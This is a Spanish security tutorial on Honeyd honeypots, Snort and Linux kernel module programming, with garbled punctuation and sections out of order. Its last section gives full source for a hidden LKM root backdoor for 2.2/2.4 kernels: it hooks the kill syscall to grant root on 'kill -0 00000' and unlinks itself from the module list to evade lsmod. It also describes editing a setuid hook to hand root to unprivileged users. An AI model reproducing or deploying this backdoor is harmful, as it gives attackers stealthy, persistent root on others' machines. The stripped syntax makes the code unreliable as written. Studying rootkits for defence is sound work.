Para documentacioacuten detallada y actualizada sobre las reglas de Snort y lo referente a las opciones se recomienda visitar el sitio oficial de Snort en Internet wwwsnortorg
Conclusiones
Debido a que un cortafuegos no es una medida realmente segura para proteger nuestra red se hace necesario detectar aquellos ataques que se realizan con eacutexito contra nuestros sistemas Los sistemas de deteccioacuten y de prevencioacuten de intrusiones ndash Snort en el caso que nos ocupa ndash junto con poliacuteticas de seguridad adicionales como SELinux y GRSecurity nos brindan un nivel de seguridad mucho mayor asiacute como la capacidad de estudiar posibles ataques para poder evitarlos en un futuro
Una vez maacutes la soluciones opensource estaacuten muy por encima en calidadprecio con respecto a otras alternativas comerciales
Kernel hacks y seguridad JMP
Honeypots
Una de las teacutecnicas maacutes habituales para proteger nuestras redes y aprender de nuestros atacantes es usar sistemas abiertos con el fin de atraer (o distraer) la atencioacuten de nuestros posibles intrusos
Los honeypots son simplemente eso sentildeuelos que nos permiten mantener la red un poco maacutes protegida mientras estos sistemas son comprometidos y controlados a voluntad por el administrador del sistema
Aunque existen muchas soluciones para implementar honeypots en este trabajo se trataraacute principalmente con ldquoHoneydrdquo
Kernel hacks y seguridad JMP
1- Preparando el entorno de trabajo
Lo primero que habraacute que hacer es obtener una copia de ldquoHoneydrdquo y opcionalmente ldquoArpdrdquo compilarlas e instalarlas en el sistema que pretende hacer de sentildeuelo estaacute claro que no hay que instalarlo en un equipo en produccioacuten P
net-analyzerhoneyd Latest version available 10-r1 Latest version installed 10-r1
Size of downloaded files 2566 kB Homepage httpwwwcitiumicheduuprovoshoneyd Description Honeyd is a small daemon that creates virtual hosts on a network License GPL-2
De las siguientes direcciones nos interesa ademaacutes toda la documentacioacuten que podamos encontrar al respecto
httpwwwhoneydorg
httpwwwcitiumicheduuprovoshoneyd
Debemos editar el fichero de configuracioacuten para establecer nuestras preferencias como sea necesario y arrancar el servicio honeyd
Config file for etcinitdhoneyd
Set Network addressHONEYD_NET=10001
HONEYD_IF=lo
HONEYD_LOG=varloghoneydlog
Set to 1 to enable (gt=honeyd-10)HONEYD_HTTPD=0HONEYD_HTTPD_PORT=80HONEYD_HTTPD_ROOT=usrsharehoneydwebserverhtdocs
Kernel hacks y seguridad JMP
Set preferred options here HONEYD_OPTS=-f etchoneydconf -p usrsharehoneydnmapprints
-x usrsharehoneydxprobe2conf -a usrsharehoneydnmapassoc
Otras alternativas a honeyd podriacutean ser sistemas como VMWare User Mode Linux etc
Un interesante ldquopaperrdquo es el de Lance Spitzner disponible en
httpwwwtracking-hackerscompapershoneypotshtml (9 May 2003)
2- Creando sistemas virtuales
Para crear los sistemas virtuales debemos editar el contenido de ldquousrsharehoneydrdquo en mi caso para conseguir nuestro objetivo de simulacioacuten por ejemplo tenemos el fichero ldquoconfigrdquo concretamente configsample que es un ejemplo de configuracioacuten lo probamos copiando honeydconf dentro de etc (en mi caso particular)
Su contenido se muestra a continuacioacuten
route entry 10001 route 10001 link 1020024 route 10001 add net 1030016 10301 latency 8ms bandwidth 10Mbps route 10301 link 1030024 route 10301 add net 1031024 10311 latency 7ms loss 05 route 10311 link 1031024
Example of a simple host template and its binding create template set template personality Microsoft Windows XP Professional SP1 set template uptime 1728650 set template maxfds 35 add template tcp port 80 scriptsiis5netmainpl add template tcp port 22 sh scriptstestsh $ipsrc $dport add template tcp port 23 proxy $ipsrc23 add template udp port 53 proxy 1412119214153 set template default tcp action reset
create default set default default tcp action block set default default udp action block set default default icmp action block
create router
Kernel hacks y seguridad JMP
set router personality Cisco 1601R router running IOS 121(5)set router default tcp action resetadd router tcp port 22 scriptstestshadd router tcp port 23 scriptsrouter-telnetpl
bind 10301 routerbind 10311 routerbind 103112 templatebind 103111 templatebind 103110 templateset 103111 personality Microsoft Windows NT 40 SP3set 103110 personality IBM AIX 42
De igual forma podemos editar el resto de ficheros de intereacutes para modificar lo que queramos no obstante cubrir todas las posibilidades va maacutes allaacute de lo que se persigue en este trabajo La documentacioacuten on-line puede solucionar cualquier duda al respecto
Para probar el sistema podemos usar herramientas de analisis y escaneo de puertos como Nmap ping hping traceroute etc
3- Otros usos
Podemos usar tambieacuten los honeypots para automatizar tareas por ejemplo para limpiar gusanos que han infectado nuestra red imitando el proceso de infeccioacuten pero haciendo que el honeypot lleve a cabo el envio de un programa que limpie el gusano en lugar de propagarlo ejecutando su payload Es solo una idea de todo lo que podemos hacer con un honeypot
Listado de programas yo utilidades para el anaacutelisis de redes y auditorias
acid hping netcat6 sec aimsniff httping netdiscover sflowtool amap hunt nethogs sguil-client angst hydra neti sguil-sensor argus hyperic-hq-agent netio sguil-server arping ibmonitor netleds_applet siphon arpoison ifmetric netperf slurm arp-sk ifstat netselect sniffit arpwatch iftop net-snmp snmpmon authforce ike-scan netspeed_applet snmptt barnyard ipac-ng nettop snort bigeye ipaudit netwag snortalog bing ipcad netwatch snortsam bmon iplog netwox sonar braa ippl ngrep squid-graph bwm-ng iptraf nikto squidsites bwmon iptstate nload ssldump cacti isic nmap sussen cacti-cactid jnettop nmbscan tcpdump calamaris knetscan nomad tcpflow chaosreader knocker ns tcpick cheops-ng labrea nsat tcpreen cnet lft nstats tcpreplay cryptcat libnasl ntop tcpslice cutter linkchecker nttcp tcpstat darkstat macchanger oinkmaster tcptrace
Kernel hacks y seguridad JMP
dnstracer mbrowse p0f tcptraceroute driftnet metadataxml packit tcptrack dsniff metasploit paketto thcrut echoping midas-nms pinger thrulay egressor mirmon pktstat tleds etherape mping pmacct tptest ethereal mrtg poink traceproto ethloop mtr portmon traceroute ethstatus mwcollect portsentry traceroute-nanog ettercap nagios postal trafd fail2ban nagios-core prelude-nagios traffic-vis ffp nagios-imagepack prelude-nessus trafshow firewalk nagios-nrpe prelude-nids ttcp FlowScan nagios-nsca prewikka ttt flow-tools nagios-plugins quidscor upnpscan fping nam rain vnstat fprobe nast rrdtool xnetload fragroute nb rtg xprobe ftester nbaudit sancp xtraceroute fwlogwatch nbtscan sara zabbix-agent gensink nepenthes sarg zabbix-frontend gnome-netstatus nessus sbd zabbix-server gnome-nettool nessus-core scanlogd zodiac gnu-netcat nessus-libraries scanssh gspoof nessus-plugins scapy honeyd netcat scli
Conclusiones
Con los honeypots ya tenemos un punto maacutes que sumar a nuestra seguridad en la red no obstante hay que decir que el mal uso y configuracioacuten del mismo puede provocar tambieacuten alguacuten problema si no se tiene cuidado por lo que el administrador debe ser cauto
ldquoLa puerta mejor cerrada es la que se puede dejar abiertardquo
Trabajo realizado y distribuido a la comunidad por Jose Miguel Porcel G
Kernel hacks y seguridad JMP
BIBLIOGRAFIacuteA Y RECURSOS EN INTERNET
kernel hacks
Programacioacuten ldquoLinux 20rdquo API de sistema y funcionamiento del nuacutecleo Reacutemy Card Eric Dumas Franck Meacutevel editorial ldquoEyrollesrdquo
Coacutedigo fuente de ldquoAdore-ngrdquo
Material de las conferencias del ldquoHackandalusrdquo hackmeeting
HowTo de wwwtldporg sobre ldquoLoadable Kernel Modulesrdquo
Kernelnewbies httpeskernelnewbiesorg
Internet Relay Chat en ircfreenodenet
Artiacuteculo ldquoRootkits The r00t of Digital Evilrdquo
httpwwwomninerdcom20051122articles43
Phrack ldquoHiding Out Under Unixrdquo
Documento PDF DIMVA 2004 DFN-CERT por Andreas Bunten
Documento PDF ldquoRootkit Attacker undercover toolsrdquo por Saliman Manap
Presentacioacuten ldquoUtilizacioacuten de una funcioacuten del sistema operativo por un usuariordquo de SCandela (Universidad de las Palmas de Gran Canaria)
Documentacioacuten del sistema operativo Gentoo y Debian ldquoPotatordquo asiacute como el coacutedigo fuente del Kernel tanto 22 como 24 y 26 wwwkernelorg
Anaacutelisis del rootkit ldquoT0rnrdquo httpwwwsansorgy2kt0rnhtm
Snort NIDS
Documentacioacuten y coacutedigo del sitio web oficial de Snort (wwwsnortorg) y ACID
OReilly ldquoManaging Security with Snort and IDS Toolsrdquo de Kerry JCox y Christopher Gerg Agosto 2004
Artiacuteculo httplinucaorgbodyphtmlnIdNoticia=13 ldquosnort+mysql+acidrdquo
Honeyd
Documentacioacuten del propio programa y web oficial (honeydorg)
Kernel hacks y seguridad JMP
Kernel hacks y seguridad JMP
Introduccioacuten
En 1991 alguien llamado Linus B Torvalds se compra un PC (386) para intentar comprender de forma exhaustiva su funcionamiento Como es de imaginar el sistema M$ DOS cutre de la eacutepoca no aprovechaba el procesador 386 (ni siquiera usaba el modo protegido) asiacute que Linus cogioacute otro sistema llamado Minix con A Tanembaum como principal desarrollador y empezoacute a implementar y reprogramar funcionalidades hasta el puno en el que en 1991 ya disponiacuteamos de la versioacuten de Linux (contraccioacuten Linus + Unix) 001 que estaba muy lejos de ser lo que es hoy este potente sistema operativo
La primera versioacuten oficial (la 002) data del 5 de Octubre de 1991 y ya permitiacutea ejecutar ciertos programas GNU como bash Gracias a Internet y el esfuerzo de la comunidad sobre Marzo de 1994 estaba disponible la primera versioacuten estable 10 de nuestro querido sistema operativo de forma totalmente independiente y libre -)
En este trabajo voy a tratar ciertos aspectos sobre la seguridad del nuacutecleo tanto en versiones recientes 26 como en las no tan recientes series 22 y 24 con el objetivo de ver como podemos protegernos ante ataques que se realizan a nivel del Kernel en forma de rootkit y especialmente como funcionan este tipo de programas para comprometer la seguridad
Kernel hacks y seguridad JMP
1- Preparando el entorno de trabajo
Para poder trabajar correctamente y seguir las explicaciones que se dan en el presente documento seraacute necesario tener en consideracioacuten una serie de requisitos previos
Para poder trabajar con un Kernel de Linux necesitamos algo fundamental esto es un Kernel -) concretamente necesitamos los sources de las series 24 y 26 para ir bien Resulta de intereacutes tener dos SO corriendo usaremos Qemu o VMWare
Necesitaremos a ser posible un depurador como GDB o cualquier otro que corra bajo Linux
Compilador GCC en una versioacuten reciente
Tener soporte para Loadable Kernel Moacutedules habilitado en el nuacutecleo actual
Un editor para el coacutedigo fuente y todas aquellas herramientas auxiliares y de sistema requeridas o que supongan una comodidad para el usuario
Nociones elevadas de C y programacioacuten a bajo nivel son altamente recomendables
11- Obtener e instalar el coacutedigo fuente del nuacutecleo
El coacutedigo fuente del nuacutecleo se puede obtener de los CDs de instalacioacuten de nuestra distribucioacuten o bien a traveacutes de Internet en la URL
httpwwwkernelorg
Una vez descomprimido el contenido del ldquotarballrdquo en usrsrc procedemos a crear un enlace simboacutelico en el mismo directorio apuntando a las fuentes del nuacutecleo que vayamos a compilar y que posteriormente tras su compilacioacuten e instalacioacuten seraacute ejecutado al reiniciar la maacutequina
ln ndashs usrsrclinux-$(uname ndashr) linux
Teniendo eso en cuenta
root cd usrsrc
1 Descargamos el coacutedigo fuente del Kernel en usrsrc 2 Descomprimimos el contenido seguacuten convenga tar jxvf linux-2xx 3 Compilamos el nuacutecleo con las opciones adecuadas
cd usrsrclinux make menuconfig make ampamp make modules_install cp archi386bootbzImage bootkernel-2xx
editamos nuestro gestor de arranque como sea necesario (reiniciamos la maacutequina)
Kernel hacks y seguridad JMP
2- Conceptos baacutesicos
Realizados correctamente los pasos del punto anterior ahora podemos echar un vistazo al directorio que contiene las fuentes del nuacutecleo ls usrsrclinux y observar que el coacutedigo sigue una organizacioacuten muy concreta donde por ejemplo fs contiene los sistemas de archivos init es el main() de Linux kernel contiene las principales llamadas al sistema lib diversos moacutedulos y arch el coacutedigo dependiente de la arquitectura son algunos de los directorios que aparecen
Ya se ha comentado que nociones elevadas sobre el lenguaje son muy recomendables especialmente lo referente a punteros y punteros a funciones Por ese motivo y a continuacioacuten se presenta el primer listado que pretende refrescar estos puntos
1 includeltstdiohgt 2 define A 34 3 define B 40 4 puntero a una func 5 int (ptr_f) (int int) 6 func sumar dos enteros 7 int 8 f_test (int a int b) 9 return (a + b) 10 11 int 12 main (void) 13 14 int suma = 0 15 int suma_ptr = NULL 16 printf (f_test() reside en0xxn f_test) 17 printf (ptr_f apunta a0xxn ptr_f) 18 apuntamos a f_test(intint) 19 ptr_f = f_test 20 printf (ptr_f apunta a f_test()) 21 printf (ptr_f() se ejecutan) 22 call ptr_f -gt f_test 23 suma = (ptr_f) (A B) 24 suma_ptr -gt suma 25 suma_ptr = ampsuma 26 printf (la variable suma se encuentra en (0xx)n ampsuma) 27 contenido de suma_ptr 28 printf (contiene el valordn suma_ptr) 29 return 0 30
El coacutedigo es bastante simple dados dos nuacutemeros los suma mostrando cierta informacioacuten al respecto Las partes interesantes ahiacute son las liacuteneas 5 19 25 y 23 $gcc listadoc -o listado $listado
f_test() reside en0x80483cc ptr_f apunta a0x0 ptr_f apunta a f_test()ptr_f() se ejecuta la variable suma se encuentra en (0xbfde8170) contiene el valor74
Kernel hacks y seguridad JMP
Kerneland y Userland
Como es de imaginar el nuacutecleo del sistema operativo se encuentra en un modo privilegiado para operar con la maacutequina y sus dispositivos mientras que los usuarios trabajamos con direcciones de memoria virtuales y hacemos las peticiones al nuacutecleo para que realice por nosotros aquellas cosas que no se nos estaacute permitido hacer de forma directa a la zona de memoria del nuacutecleo se le llama simplemente espacio del kernel y a la del usuario espacio de usuario o userland
Si estando en el espacio del kernel cometemos alguacuten fallo o saltamos a una direccioacuten de memoria equivocada es maacutes que probable que el sistema se inestabilice o que surjan comportamientos no previstos que terminaran en un genuino kernel panic y un festival de volcados de memoria que obligaraacuten a reiniciar la maacutequina en el peor de los casos no tendraacutes los discos sincronizados y la maacutequina se reiniciaraacute de inmediato por lo que se recomienda hacerlo (comando sync desde la consola) con el fin de no perder aquellos datos no volcados auacuten al disco y demaacutes
Ni que decir tiene que la manera de trabajar en el espacio del kernel es algo distinta a como lo hariacuteamos en nuestros programas habituales dentro del espacio de usuario pero de todas formas eso lo veremos en breve en el presente trabajo
Archivos de cabecera
Aquellos archivos de cabecera usados por el preprocesador de C se situacutean en el directorio usrinclude y definiraacuten la interfaz de aquellos programas que son compilados aquiacute entrariacutea por ejemplo ldquoltstdiohgtrdquo
Estos archivos de cabecera (o headers en ingleacutes) se enlazan con la biblioteca de C que es distribuida de forma independiente al nuacutecleo por otro lado el Kernel tambieacuten dispone de archivos de cabecera que se usan para su compilacioacuten y que se encuentran en usrsrclinuxinclude aquiacute tenemos el directorio linux que contiene declaraciones que no dependen de la arquitectura y asm para las que siacute dependen de la arquitectura
Llamadas al sistema
En primer lugar iquestqueacute es una llamada al sistema Como he comentado hace un momento en el espacio de usuario un proceso tiene pocos privilegios y necesita del nuacutecleo para trabajar con la maacutequina con total libertad De eacutesta manera podemos definir una llamada al sistema como la peticioacuten transmitida por un proceso al nuacutecleo que trata esta peticioacuten con todos los privilegios devuelve un resultado al proceso y lo hace seguir de forma normal
Para pasar a modo privilegiado (en Linux) el proceso ejecuta una instruccioacuten concreta (Int 0x80) que le hace pasar al modo nuacutecleo y asiacute atender su propia llamada al sistema mediante cierta rutina del nuacutecleo por supuesto suponemos que dicha rutina es totalmente fiable para ejecutarse en modo privilegiado contrastando con la no confiabilidad en el proceso situado en espacio de usuario
Kernel hacks y seguridad JMP
3- Loadable Kernel Modules
Existen varios componentes en el nuacutecleo de Linux que no es necesario tener siempre cargados en memoria por varios motivos por ejemplo si ninguacuten usuario necesita trabajar con particiones NTFS podemos no cargar el moacutedulo que nos permite trabajar con el sistema de ficheros NTFS sin embargo cualquier cosa que modifiquemos del nuacutecleo como antildeadir o eliminar alguacuten gestor de dispositivo implicariacutean tener que recompilar el nuacutecleo si no disponemos de una manera de extenderlo en caliente
Afortunadamente siacute disponemos de los moacutedulos cargables del kernel o Loadable Kernel Modules (LKM a partir de ahora) que nos permiten dotar de modularidad al nuacutecleo Estos LKMs se integraraacuten dinaacutemicamente en el Kernel si los necesitamos o tambieacuten cuando insertamos un moacutedulo a mano soacutelo un usuario privilegiado puede eliminar o insertar un LKM aparte del propio nuacutecleo claro estaacute
Para cargar y descargar moacutedulos tenemos a nuestra entera disposicioacuten (como root) dos comandos que son insmod lmko para insertar y rmmod lkm para descargar un moacutedulo estos programas pueden diferir seguacuten el tipo de Kernel que tengas para cada caso necesitaraacutes instalar los adecuados En el caso de la serie 26 los moacutedulos se insertan mediante insmod lmkko en lugar de o en cualquier momento puede verse que moacutedulos hay cargados mediante lsmod
Pero la verdad es que todo eso asiacute sin maacutes no tiene demasiado sentido lo mejor seraacute dar paso al siguiente listado que ireacute explicando paso a paso y que es vaacutelido para los nuacutecleos de la serie 22 y 24 tambieacuten lo es - de hecho - para la serie 26 pero existen ciertas particularidades a tener en cuenta asiacute que lo tratareacute maacutes adelante por separado
1 define MODULE 2 define __KERNEL__ 3 include ltlinuxversionhgt 4 include ltlinuxkernelhgt 5 include ltlinuxmodulehgt 6 MODULE_PARM(parm_entero i) 7 int parm_entero 8 9 int init_module() 10 printk(LKM cargadon) 11 printk(parm_entero valein parm_entero) 12 return 0 13 14 15 void cleanup_module() 16 printk(LKM descargadon) 17 18 MODULE_LICENSE(GPL) 19 MODULE_AUTHOR(Jose Miguel Porcel G)
Kernel hacks y seguridad JMP
31- Compilacioacuten de LKMs para la serie 24x
Tenemos un moacutedulo que compilar para ello usaremos gcc pero no de la misma forma con la que compilariacuteas un programa normal en C Para compilar el ejemplo anterior deberaacutes usar algo como lo siguiente asumiendo que usrsrclinux apunta al directorio con las fuentes del kernel
root gcc -c listado2c -I usrsrclinuxinclude
lo que nos genera un fichero listado2o (fichero objeto) listo para ser insertado
root insmod listado2o parm_entero=5
podriamos obtener informacioacuten sobre el moacutedulo mediante modinfo ltmoduloogt
Es posible que al intentar insertar el moacutedulo te haya dicho algo asiacute como que no encuentra la versioacuten del Kernel o que la versioacuten del Kernel para la que fue compilado el LKM no coinciden se puede solucionar esto editando usrsrclinuxincludelinuxversionh y adaptarlo para que sea la misma versioacuten que la indicada por uname -r es una medida para salir del paso pero funcionaraacute
Explicacioacuten
En primer lugar tenemos que declarar ciertas macros e incluir unos ficheros concretos sino el programa no compilaraacute debidamente ya que lo que estamos compilando es un moacutedulo que seraacute insertado en el Kernel de esas tres macros que son MODULE_PARM MODULE_AUTHOR y MODULE_LICENSE la uacutenica que merece una explicacioacuten es MODULE_PARM ya que nos permite pasar paraacutemetros al moacutedulo estos paraacutemetros pueden ser de tipo i (int) o bien h (short) s (string) l (long) etc Supongo que el ejemplo ilustra como son pasados los paraacutemetros por lo que no nos entretendremos maacutes con eso
Luego tenemos dos rutinas que son init_module() y cleanup_module() la primera se ejecuta al cargar el moacutedulo y la segunda es una rutina de supresioacuten con descarga Otra cosa a destacar es que no usamos printf() para imprimir mensajes sino que usamos printk() puesto que estamos trabajando dentro del espacio del nuacutecleo y a maacutes bajo nivel
Acabo de decir que usamos printk para imprimir mensajes el caso es que los LKMs no pueden imprimir directamente en pantalla salvo que hagamos algo para que eso ocurra iquestentonces queacute pasa Lo que pasa es que son registrados por el Syslog del sistema manera que si puedes echar un vistazo al terminal del Syslog
Se podraacuten ir viendo los mensajes logueados y registrados en varlogmessages
Kernel hacks y seguridad JMP
4- Sys_call_table[] en kernels 22 y 24
Ha llegado el momento en el que necesitamos tirar de las llamadas al sistema (syscalls) para nuestras intenciones de manera que las vamos a declarar en nuestro moacutedulo
extern void sys_call_table[]
Con eso ya es posible acceder al vector que sirve de contenedor para saber doacutende tenemos que saltar en la memoria al realizar llamada Nadie dice que no podamos usar nosotros ese vector y enganchar (hook) literalmente una rutina que se ejecutariacutea en lugar de la supuesta syscall a la que se llamo -)
Listado 3
1 define MODULE 2 define __KERNEL__ 3 include ltasmunistdhgt 4 include ltlinuxversionhgt 5 include ltlinuxkernelhgt 6 include ltlinuxmodulehgt 7 extern void sys_call_table[] 8 long ( hook_chmod)(const char fichero) 9 10 long mi_chmod(const char fichero) 11 printk([] CHMOD inhibidon) 12 return 0 13 14 15 16 int init_module() 17 printk(LKM Listo y funcionandon) 18 hook_chmod=sys_call_table[__NR_chmod] 19 sys_call_table[__NR_chmod]=mi_chmod 20 printk(SYS_chmod 0xpnhook_chmod) 21 return 0 22 23 24 25 int cleanup_module() 26 printk(Descargandon) 27 sys_call_table[__NR_chmod]=(void )hook_chmod 28 29 30 MODULE_LICENSE(GPL) 31 MODULE_AUTHOR(Jose Miguel Porcel G) 32 MODULE_DESCRIPTION(Ejemplo de hook anula chmod)
Si ahora un usuario intenta hacer chmod para modificar los atributos de un fichero por ejemplo chmod a+rx fichero podraacute observar como no surge ninguacuten tipo de efecto no se procesa la verdadera syscall de chmod sino la suplantada y por tanto se mostraraacute el mensaje por pantalla indicando el evento
El funcionmiento se explica a continuacioacuten
Kernel hacks y seguridad JMP
Resulta que he creado un puntero a una funcioacuten (man chmod) de manera que al inicializar el LKM he guardado en hook_chmod la direccioacuten de la syscall __NR_chmod original dentro del vector con el fin de poder restaurarla al descargar el moacutedulo (queremos seguir usando el verdadero chmod despueacutes de jugar P) y a continuacioacuten hemos redireccionado __NR_chmod a la direccioacuten de memoria donde tenemos nuestra funcioacuten (mi_chmod) de manera que cuando el sistema accede a __NR_chmod procesaraacute la rutina mi_chmod en lugar de la verdadera funcioacuten chmod de ahiacute que no tenga efecto el comando chmod mientras tengas el LKM cargado
iquestDe doacutende se sacan los nombres de las syscalls Basta con mirar ltasmunistdhgt
$cat usrsrclinuxincludelinuxasmunistdh|less
Alliacute encontramos parejas de syscalls y nuacutemero identificador chmod es la 15 en mis fuentes Si ademaacutes tienes algo maacutes de tiempo yo sugiero echar otro vistazo a usrsrclinuxincludelinuxsyscallsh
Si podemos referirnos a las syscalls con __NR_ es porque usamos ltasmunistdhgt
Ahora muestro otro listado para ilustrar como podemos reservar y liberar memoria en el espacio del kernel mediante kmalloc() y kfree() asiacute como la manera de pasar datos desde el espacio de usuario a la memoria del nuacutecleo y al reveacutes gracias a las funciones __generic_copy_from_user y __generic_copy_to_user respectivamente memset se utiliza para llenar la memoria con un byte constante y GFP_KERNEL indica el tipo de asignacioacuten de memoria para el nuacutecleo
Lo que hace es simplemente manipular la syscall rename para que siempre se renombre por jmphack al hacer mv origen destino hay que procurar no sobrescribir ficheros y descargar el moacutedulo cuando se haya visto que funciona usando rmmod
La nueva cabecera antildeadida aquiacute para los tratamientos mencionados justo arriba viene a ser ltlinuxmmhgt
1 define MODULE 2 define __KERNEL__ 3 include ltlinuxversionhgt 4 include ltlinuxkernelhgt 5 include ltasmunistdhgt 6 include ltlinuxmodulehgt 7 include ltlinuxmmhgt
sigue listado 4
Kernel hacks y seguridad JMP
continuando listado 4
8 extern void sys_call_table[] 9 int (hook_mv)(const char desde const char hasta) 10 11 int mi_mv(const char desde const char hasta) 12 char kbuff1=(char )kmalloc(strlen(desde)+1 GFP_KERNEL) 13 memset(kbuff1 0 strlen(desde)+1) 14 importante no dejarnos el +1 del final sino la liamos 15 __generic_copy_from_user(kbuff1 desde strlen(desde)+1) 16 __generic_copy_to_user(hastajmphack) 17 kfree(kbuff1) 18 return((hook_mv)(desde hasta)) 19 20 21 int init_module() 22 printk(LKM cargadon) 23 hook_mv=sys_call_table[__NR_rename] 24 sys_call_table[__NR_rename]=mi_mv 25 return(0) 26 27 28 void cleanup_module() 29 printk(LKM descargadon) 30 sys_call_table[__NR_rename]=hook_mv 31 32 MODULE_LICENSE(GPL) 33 MODULE_AUTHOR(Jose Miguel Porcel G) 34 MODULE_DESCRIPTION(Hook a rename())
Hasta el momento todos los ejemplos que estoy poniendo tienen una utilidad bastante absurda (son para explicar algunas cosas) pero uno se puede dar cuenta de la potencia de un LKM de cara a su uso en sistemas comprometidos no resulta complicado averiguar como trabaja el sistema con los procesos los ficheros y demaacutes para poder - por ejemplo - ocultar un fichero o incluso el propio moacutedulo en la memoria todo esto y algo maacutes lo vemos a continuacioacuten
Kernel hacks y seguridad JMP
5- Protegiendo el UID 0
Tendiendo en cuenta todo lo explicado por el momento en este texto y lo visto en la asignatura de sistemas operativos hasta ahora sabemos que el uid0 se corresponde al id de root (usuario privilegiado) y que al explotar ciertas vulnerabilidades es necesario en algunos casos usar setuid() para establecer privilegios de root En el siguiente coacutedigo se ilustra como evitar que se use setuid(0) por usuarios distintos a root todo debidamente monitoreado esto permite en ciertos casos sumar un punto a la seguridad del sistema
Cabe destacar que el LKM que se muestra es para la serie 24 y habraacute que adaptarlo despueacutes para la serie 26 no obstante solamente habraacute que esperar un poco antes de ver eso
1 define MODULE 2 define __KERNEL__ 3 include ltasmunistdhgt 4 include ltlinuxschedhgt 5 include ltlinuxversionhgt 6 include ltlinuxkernelhgt 7 include ltlinuxmodulehgt 8 extern void sys_call_table[] 9 long ( hook_suid)(uid_t uid) 10 11 long nosuid(uid_t uid) 12 13 int res 14 if (current-gtuid ampamp uid) 15 printk([ALERTA] Ejecutado setuid 0 desde un usuario no rootn) 16 printk(info PID(i) PGRP(i) EUID (i i) =gt i
[DENEGADO]n17 current-gtpid 18 current-gtpgrp 19 current-gteuid 20 current-gtuid 21 uid) 22 res=( hook_suid)(current-gtuid) 23 24 res=( hook_suid)(uid) 25 26 int init_module() 27 printk(LKM Listo y funcionandon) 28 hook_suid=sys_call_table[__NR_setuid32] 29 sys_call_table[__NR_setuid32]=nosuid 30 return 0 31 32 33 int cleanup_module() 34 printk(Descargandon) 35 sys_call_table[__NR_setuid32]=hook_suid 36 37 MODULE_LICENSE(GPL) 38 MODULE_AUTHOR(Jose Miguel Porcel G) 39 MODULE_DESCRIPTION(Controla setuid 0)
Kernel hacks y seguridad JMP
Insertamos el moacutedulo y probamos
root su linux linux$ su root linux$ tail varlogmessages
La novedad en el coacutedigo anterior es en primer lugar que el coacutedigo es ligeramente maacutes uacutetil P y luego que he usado current para referirnos a nosotros mismos es decir al proceso en ejecucioacuten en un instante determinado es por eso que he incluido ltlinuxschedhgt Si miramos ahiacute dentro tenemos una gran estructura task_struct que caracteriza a un proceso no la muestro aquiacute porque es un poco grande como para reproducirla ahora
Modificando el coacutedigo anterior ligeramente justo en la liacutenea 22 por
res=( hook_suid)(0)
hacemos que un usuario no privilegiado pase a elevar sus privilegios sin maacutes
En el siguiente apartado hacemos algo maacutes serio se trata de un backdoor para los nuacutecleos de la serie 24 y que luego adaptareacute tambieacuten a la serie 26 con todo lo que eso conlleva Para ello vamos a manipular la syscall SYS_KILL creando un nuevo ldquosignalrdquo que seraacute muy especial -)
Otra utilidad para SYS_KILL seriacutea evitar que usuarios sin privilegios puedan matar procesos ajenos o incluso podemos proteger procesos de sentildeales (como kill -9) frente a cualquier usuario privilegiado o no
Kernel hacks y seguridad JMP
6- Backdoor local para kernels 24x
Con todo lo visto en los coacutedigos de arriba estaacute totalmente tirado hacer una puerta trasera en el sistema para asegurarnos privilegios de root de hecho un LKM es una forma muy elegante de hacerlo
En el siguiente listado veremos un moacutedulo que daraacute privilegios efectivos de root (euid=0) al user que intente mandar la sentildeal -0 mediante kill a un proceso con un pid determinado por COOLPID - aquiacute con poco sentido poner 00000 = 0 - bastaraacute con ejecutar lo siguiente
linux$ kill -0 00000 (al hacer id vemos que ocurre)
por supuesto no nos interesa que nadie sepa que tenemos un moacutedulo cargado (hacer lsmod y ver ldquobackdoorrdquo canta un poco) por lo que al inicializar la carga del mismo haremos que desaparezca el como lo explico a continuacioacuten despueacutes de mostrar un poco el coacutedigo que aunque estaacute claro que es infinitamente mejorable como ejemplo es perfecto
Kernel hacks y seguridad JMP
backdoor local 1 kernels 22 24 1 define __KERNEL__ 2 define MODULE 3 include ltlinuxkernelhgt 4 include ltlinuxversionhgt 5 include ltlinuxmodulehgt 6 include ltasmunistdhgt 7 include ltlinuxschedhgt 8 define COOLPID 00000 9 no queremos exportar los simbolos ) 10 EXPORT_NO_SYMBOLS 11 extern void sys_call_table[] 12 int (killsysc)(pid_t pidint sig) 13 nos da root si kill -0 COOLPID 14 int hook(pid_t pidint sig) 15 if (sig==0 ampamp pid== COOLPID) 16 current-gteuid=0 17 current-gtuid=0 18 19 return 0 20 21 carga 22 int init_module() 23 ocultamos el LKM 24 struct module yo = amp__this_module 25 secuestrado = NULL 26 secuestrado = yo-gtnext 27 no pudo ser 28 if (secuestrado) return -1 29 su DNI por favor 30 yo-gtname = secuestrado-gtname 31 yo-gtflags = secuestrado-gtflags 32 yo-gtsize = secuestrado-gtsize 33 yo-gtnext = secuestrado-gtnext 34 hook 35 killsysc=sys_call_table[__NR_kill] 36 sys_call_table[__NR_kill]=hook 37 return 0 38 39 descarga 40 int cleanup_module() 41 42 dejamos las cosas en orden 43 sys_call_table[__NR_kill]=killsysc 44 return 0 45 46 publicidad 47 MODULE_LICENSE(GPL) 48 MODULE_AUTHOR(Jose Miguel Porcel G) 49 MODULE_DESCRIPTION(backd00r local simple para 22x y 24x)
En primer lugar iquestqueacute es ese EXPORT_NO_SYMBOLS Resulta que al insertar el moacutedulo nuestras con nuestras funciones se exportan y asiacute los siacutembolos pueden ser usados por otros moacutedulos si ejecutas
$cat procksyms
Kernel hacks y seguridad JMP
Veraacutes la lista de siacutembolos exportado actualmente en el Kernel lo que puede ser bastante sospechoso para nuestro backdoor no cuesta nada NO exportar los siacutembolos mediante esa macro
Resulta interesante echar un vistazo a ltlinuxmodulehgt porque de ahiacute he sacado la informacioacuten para la estructura module que he utilizado ndash entre otras cosas- para ocultar el moacutedulo Como el Kernel guarda una lista simple enlazada con los moacutedulos cargados es muy faacutecil reajustar los punteros al moacutedulo siguiente para eliminar un elemento existente
Al insertar un nuevo moacutedulo eacuteste pasa a ser la referencia al inicio de la lista de manera que se complica el poder quitarnos a nosotros mismos del medio la solucioacuten como se puede ver no es compleja de entender lo que hacemos es coger el siguiente moacutedulo a nosotros en la lista obtener sus propiedades (las que lsmod muestra) y sacar al moacutedulo suplantado de la lista enlazada lo que no deshabilita el moacutedulo simplemente lo oculta se trata de un camuflaje simple pero funciona y eso es lo que vale
